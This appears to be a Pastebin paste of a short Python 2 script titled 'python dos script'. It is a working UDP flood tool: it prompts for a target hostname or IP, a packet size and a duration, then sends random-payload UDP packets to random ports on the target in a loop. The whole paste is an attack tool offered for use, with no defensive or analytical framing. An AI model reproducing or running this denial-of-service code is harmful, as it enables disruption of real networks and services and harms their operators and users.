xanybarz

python dos script

Mar 18th, 2016
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.25 KB | None | 0 0
  1. import socket
  2. import random
  3. import sys
  4. import time
  5. import os
  6.  
  7. if sys.platform == "linux2":
  8.         os.system("clear")
  9. elif sys.platform == "win32":
  10.         os.system("cls")
  11. else:
  12.         os.system("clear")
  13. print("               _   _   _                     ")
  14. print(" __      _____| |_| |_| |__   __ _ _ __ ___  ")
  15. print(" \ \ /\ / / _ \ __| __| '_ \ / _` | '_ ` _ \ ")
  16. print("  \ V  V /  __/ |_| |_| | | | (_| | | | | | |")
  17. print("   \_/\_/ \___|\__|\__|_| |_|\__,_|_| |_| |_|")
  18. print("")
  19. print("")
  20. target = raw_input("Target (Hostname or IP): ")
  21. print("---")
  22. package = input("Size (MAX 65500): ")
  23. print("---")
  24. duration = input("Duration (0 is infinite): ")
  25. durclock = (lambda:0, time.clock)[duration > 0]
  26. duration = (1, (durclock() + duration))[duration > 0]
  27. packet = random._urandom(package)
  28. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  29. print("---")
  30. print("The UDP flood started on %s with %s bytes for %s seconds." % (target, package, duration))
  31. while True:
  32.         if (durclock() < duration):
  33.                 port = random.randint(1, 65535)
  34.                 sock.sendto(packet, (target, port))
  35.         else:
  36.                 break
  37. print("---")
  38. print("The UDP flood has completed on %s for %s seconds." % (target, duration))
Add Comment
Please, Sign In to add comment